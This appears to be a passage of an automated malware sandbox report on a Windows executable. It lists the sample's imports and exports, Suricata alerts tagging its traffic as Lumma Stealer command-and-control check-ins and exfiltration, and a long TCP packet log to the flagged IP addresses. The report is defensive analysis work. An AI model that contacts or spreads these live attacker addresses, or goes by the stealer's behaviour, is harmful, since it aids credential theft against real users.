RT_GROUP_CURSOR	0x2ef284	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x2ef298	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x2ef2ac	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x2ef2c0	0x4c	data	English	United States	0.7894736842105263
RT_VERSION	0x2ef30c	0x354	data	English	United States	0.4307511737089202
RT_MANIFEST	0x2ef660	0x70b	XML 1.0 document, ASCII text, with CRLF, LF line terminators	English	United States	0.403771491957848

Imports

DLL	Import
mpr.dll	WNetGetConnectionW
shlwapi.dll	PathFileExistsW
comdlg32.dll	GetOpenFileNameW
comctl32.dll	FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, ImageList_GetDragImage, FlatSB_SetScrollProp, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, FlatSB_GetScrollInfo, ImageList_Write, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_Draw, ImageList_Remove
shell32.dll	SHGetSpecialFolderLocation, Shell_NotifyIconW, ShellExecuteW, SHGetPathFromIDListW
user32.dll	CopyImage, CreateWindowExW, GetMenuItemInfoW, SetMenuItemInfoW, DefFrameProcW, GetDCEx, PeekMessageW, MonitorFromWindow, GetDlgCtrlID, SetTimer, WindowFromPoint, BeginPaint, RegisterClipboardFormatW, FrameRect, MapVirtualKeyW, IsWindowUnicode, CharToOemA, RegisterWindowMessageW, FillRect, GetMenuStringW, DispatchMessageW, SendMessageA, DefMDIChildProcW, EnumWindows, GetClassInfoW, ShowOwnedPopups, GetSystemMenu, GetScrollRange, SetScrollPos, GetScrollPos, GetActiveWindow, SetActiveWindow, DrawEdge, GetKeyboardLayoutList, LoadBitmapW, DrawFocusRect, EnumChildWindows, GetScrollBarInfo, ReleaseCapture, UnhookWindowsHookEx, LoadCursorW, GetCapture, SetCapture, CreatePopupMenu, ScrollWindow, ShowCaret, GetMenuItemID, GetLastActivePopup, CharLowerBuffW, GetSystemMetrics, SetWindowLongW, PostMessageW, DrawMenuBar, SetParent, IsZoomed, CharUpperBuffW, GetClientRect, IsChild, ClientToScreen, GetClipboardData, SetClipboardData, SetWindowPlacement, IsIconic, CallNextHookEx, GetMonitorInfoW, ShowWindow, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, SetForegroundWindow, GetWindowTextW, EnableWindow, DestroyWindow, IsDialogMessageW, EndMenu, RegisterClassW, CharNextW, GetWindowThreadProcessId, RedrawWindow, GetDC, GetFocus, SetFocus, EndPaint, ReleaseDC, MsgWaitForMultipleObjectsEx, LoadKeyboardLayoutW, GetClassLongW, ActivateKeyboardLayout, GetParent, DrawTextW, SetScrollRange, InsertMenuItemW, PeekMessageA, GetPropW, SetClassLongW, MessageBoxW, MessageBeep, SetPropW, RemovePropW, UpdateWindow, GetSubMenu, MsgWaitForMultipleObjects, DestroyMenu, OemToCharA, DestroyIcon, SetWindowsHookExW, EmptyClipboard, IsWindowVisible, GetDlgItem, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, AdjustWindowRectEx, DrawIcon, IsWindow, EnumThreadWindows, InvalidateRect, GetKeyboardState, DrawFrameControl, ScreenToClient, SetCursor, CreateIcon, CreateMenu, LoadStringW, CharLowerW, SetWindowRgn, SetWindowPos, GetMenuItemCount, RemoveMenu, GetSysColorBrush, GetKeyboardLayoutNameW, GetWindowDC, TranslateMessage, OpenClipboard, DrawTextExW, MapWindowPoints, EnumDisplayMonitors, CallWindowProcW, CloseClipboard, DestroyCursor, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, EnableScrollBar, GetSysColor, TrackPopupMenu, DrawIconEx, PostQuitMessage, GetClassNameW, ShowScrollBar, EnableMenuItem, GetIconInfo, GetMessagePos, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, GetCursorPos, SetCursorPos, HideCaret, GetMenu, GetMenuState, SetMenu, SetRect, GetKeyState, FindWindowExW, MonitorFromPoint, SystemParametersInfoW, LoadIconW, GetCursor, GetWindow, GetWindowLongW, GetWindowRect, InsertMenuW, KillTimer, WaitMessage, IsWindowEnabled, IsDialogMessageA, TranslateMDISysAccel, GetWindowPlacement, FindWindowW, DeleteMenu, GetKeyboardLayout
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
oleaut32.dll	SysFreeString, VariantClear, VariantInit, GetErrorInfo, SysReAllocStringLen, SafeArrayCreate, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, VariantChangeType
advapi32.dll	RegFlushKey, RegQueryValueExW, RegCloseKey, RegOpenKeyExW
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
msvcrt.dll	memcpy, _gcvt
winhttp.dll	WinHttpGetIEProxyConfigForCurrentUser, WinHttpSetTimeouts, WinHttpSetStatusCallback, WinHttpConnect, WinHttpReceiveResponse, WinHttpQueryAuthSchemes, WinHttpGetProxyForUrl, WinHttpReadData, WinHttpCloseHandle, WinHttpQueryHeaders, WinHttpOpenRequest, WinHttpAddRequestHeaders, WinHttpOpen, WinHttpWriteData, WinHttpSetCredentials, WinHttpQueryDataAvailable, WinHttpSetOption, WinHttpSendRequest, WinHttpQueryOption
kernel32.dll	SetFileAttributesW, GetFileTime, SetFileTime, QueryDosDeviceW, GetACP, GetExitCodeProcess, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, TerminateThread, QueryPerformanceFrequency, IsDebuggerPresent, FindNextFileW, GetFullPathNameW, VirtualFree, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetTimeZoneInformation, FileTimeToLocalFileTime, GetModuleHandleW, FreeLibrary, HeapDestroy, FileTimeToDosDateTime, ReadFile, DosDateTimeToFileTime, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, GlobalAlloc, GlobalUnlock, FindResourceW, CreateThread, CompareStringW, CopyFileW, MapViewOfFile, LoadLibraryA, GetVolumeInformationW, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, MoveFileW, GlobalAddAtomW, FormatMessageW, OpenProcess, SwitchToThread, GetExitCodeThread, OutputDebugStringW, GetCurrentThread, GetLogicalDrives, LocalFileTimeToFileTime, GetFileAttributesExW, ExpandEnvironmentStringsW, LoadLibraryExW, TerminateProcess, LockResource, FileTimeToSystemTime, GetCurrentThreadId, UnhandledExceptionFilter, MoveFileExW, VirtualQuery, GlobalFindAtomW, VirtualQueryEx, GlobalFree, Sleep, EnterCriticalSection, SetFilePointer, FlushFileBuffers, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetFileSize, GlobalDeleteAtom, GetStartupInfoW, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetThreadPriority, GetCurrentProcess, SetThreadPriority, GlobalLock, VirtualAlloc, GetTempPathW, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetLogicalDriveStringsW, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, GetDiskFreeSpaceW, VerSetConditionMask, FindFirstFileW, GetUserDefaultUILanguage, UnmapViewOfFile, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateFileMappingW, ExitThread, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, RemoveDirectoryW, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
wsock32.dll	send
ole32.dll	IsEqualGUID, OleInitialize, OleUninitialize, CoInitialize, CoCreateInstance, CoUninitialize, CoTaskMemFree, CoTaskMemAlloc
gdi32.dll	Arc, Pie, SetBkMode, SelectPalette, CreateCompatibleBitmap, GetEnhMetaFileHeader, ExcludeClipRect, RectVisible, SetWindowOrgEx, MaskBlt, AngleArc, DeleteEnhMetaFile, Chord, SetTextColor, StretchBlt, SetDIBits, SetViewportOrgEx, CreateRectRgn, RealizePalette, GetDIBColorTable, SetDIBColorTable, RoundRect, RestoreDC, SetRectRgn, GetTextMetricsW, GetWindowOrgEx, CreatePalette, CreateBrushIndirect, PatBlt, SetEnhMetaFileBits, PolyBezierTo, GetStockObject, CreateSolidBrush, Polygon, Rectangle, MoveToEx, DeleteDC, SaveDC, PlayEnhMetaFile, BitBlt, Ellipse, FrameRgn, GetDeviceCaps, GetBitmapBits, GetTextExtentPoint32W, GetClipBox, Polyline, IntersectClipRect, GetEnhMetaFileBits, GetSystemPaletteEntries, CreateBitmap, SetWinMetaFileBits, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, CreatePenIndirect, GetDIBits, SetStretchBltMode, GetEnhMetaFilePaletteEntries, CreateFontIndirectW, PolyBezier, LineTo, GetRgnBox, CreateHalftonePalette, DeleteObject, SelectObject, ExtFloodFill, UnrealizeObject, CopyEnhMetaFileW, SetBkColor, CreateCompatibleDC, GetObjectW, GetBrushOrgEx, GetCurrentPositionEx, GetWinMetaFileBits, SetROP2, GetTextExtentPointW, ExtTextOutW, SetBrushOrgEx, GetEnhMetaFileDescriptionW, GetPixel, ArcTo, GdiFlush, SetPixel, EnumFontFamiliesExW, GetPaletteEntries

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4b10ec
__dbk_fcall_wrapper	2	0x40f898
dbkFCallWrapperAddr	1	0x68b640

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T00:30:16.898500+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.93.82	443	TCP
2024-12-24T00:30:17.650568+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.93.82	443	TCP
2024-12-24T00:30:17.650568+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.93.82	443	TCP
2024-12-24T00:30:18.873914+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.93.82	443	TCP
2024-12-24T00:30:19.646525+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.93.82	443	TCP
2024-12-24T00:30:19.646525+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.93.82	443	TCP
2024-12-24T00:30:21.277222+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.93.82	443	TCP
2024-12-24T00:30:23.580591+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.93.82	443	TCP
2024-12-24T00:30:24.418998+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49734	104.21.93.82	443	TCP
2024-12-24T00:30:25.818240+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.93.82	443	TCP
2024-12-24T00:30:28.564587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	104.21.93.82	443	TCP
2024-12-24T00:30:30.662023+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.93.82	443	TCP
2024-12-24T00:30:32.712032+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.93.82	443	TCP
2024-12-24T00:30:33.490210+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	104.21.93.82	443	TCP
2024-12-24T00:30:35.025223+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	172.67.169.205	443	TCP
2024-12-24T00:30:38.292123+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	172.67.191.144	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 00:30:15.670280933 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:15.670321941 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:15.670420885 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:15.673901081 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:15.673922062 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:16.898307085 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:16.898499966 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:16.901751041 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:16.901763916 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:16.901969910 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:16.942034960 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:16.945993900 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:16.946016073 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:16.946073055 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:17.650497913 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:17.650593996 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:17.650671005 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:17.653147936 CET	49730	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:17.653167963 CET	443	49730	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:17.658682108 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:17.658737898 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:17.658827066 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:17.659064054 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:17.659076929 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:18.873796940 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:18.873914003 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:18.922955990 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:18.923002005 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:18.923285961 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:18.924803019 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:18.924849987 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:18.924874067 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.646512032 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.646549940 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.646610975 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.646636963 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.646869898 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.646924973 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.646931887 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.660105944 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.660162926 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.660170078 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.668764114 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.668822050 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.668828964 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.723218918 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.723226070 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.766217947 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.766277075 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.766297102 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.770464897 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.770529985 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.770695925 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.770705938 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:19.770739079 CET	49731	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:19.770745039 CET	443	49731	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:20.060659885 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:20.060746908 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:20.060846090 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:20.061912060 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:20.061943054 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:21.277054071 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:21.277221918 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:21.282144070 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:21.282176971 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:21.282447100 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:21.284149885 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:21.284149885 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:21.284207106 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:21.284739971 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:21.284754992 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:22.250267982 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:22.250360966 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:22.250487089 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:22.250592947 CET	49732	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:22.250634909 CET	443	49732	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:22.367120028 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:22.367170095 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:22.367271900 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:22.367635012 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:22.367665052 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:23.580506086 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:23.580590963 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:23.581701994 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:23.581722021 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:23.581965923 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:23.583154917 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:23.583287954 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:23.583324909 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:24.418983936 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:24.419061899 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:24.419189930 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:24.419363976 CET	49734	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:24.419399977 CET	443	49734	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:24.605585098 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:24.605624914 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:24.605695963 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:24.605981112 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:24.605998039 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:25.818010092 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:25.818239927 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:25.819360018 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:25.819390059 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:25.819638968 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:25.826309919 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:25.826442003 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:25.826483011 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:25.826560020 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:25.826576948 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:27.099026918 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:27.099106073 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:27.099184036 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:27.099385977 CET	49738	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:27.099426985 CET	443	49738	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:27.351880074 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:27.351917982 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:27.352045059 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:27.352437973 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:27.352452993 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:28.564392090 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:28.564587116 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:28.566092014 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:28.566102028 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:28.566329002 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:28.578222990 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:28.578368902 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:28.578376055 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:29.353555918 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:29.353647947 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:29.353805065 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:29.354068995 CET	49740	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:29.354083061 CET	443	49740	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:29.438849926 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:29.438874006 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:29.438957930 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:29.439552069 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:29.439565897 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:30.661803961 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:30.662023067 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:30.739567041 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:30.739581108 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:30.739820004 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:30.775788069 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:30.775974035 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:30.775980949 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:31.457004070 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:31.457125902 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:31.457186937 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:31.457484961 CET	49742	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:31.457504988 CET	443	49742	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:31.485053062 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:31.485102892 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:31.485177040 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:31.485421896 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:31.485439062 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:32.711939096 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:32.712032080 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:32.713227987 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:32.713238955 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:32.713434935 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:32.714540958 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:32.714574099 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:32.714597940 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:33.490189075 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:33.490287066 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:33.490339041 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:33.490468979 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:33.490483999 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:33.490493059 CET	49743	443	192.168.2.4	104.21.93.82
Dec 24, 2024 00:30:33.490500927 CET	443	49743	104.21.93.82	192.168.2.4
Dec 24, 2024 00:30:33.803930044 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:33.803965092 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:33.804047108 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:33.804398060 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:33.804413080 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:35.025120020 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:35.025223017 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:35.028718948 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:35.028732061 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:35.028934956 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:35.030189991 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:35.075375080 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:36.700491905 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:36.700548887 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:36.700722933 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:36.700898886 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:36.700911999 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:36.700926065 CET	49744	443	192.168.2.4	172.67.169.205
Dec 24, 2024 00:30:36.700930119 CET	443	49744	172.67.169.205	192.168.2.4
Dec 24, 2024 00:30:37.067807913 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:37.067847967 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:37.067934990 CET	49745	443	192.168.2.4	172.67.191.144
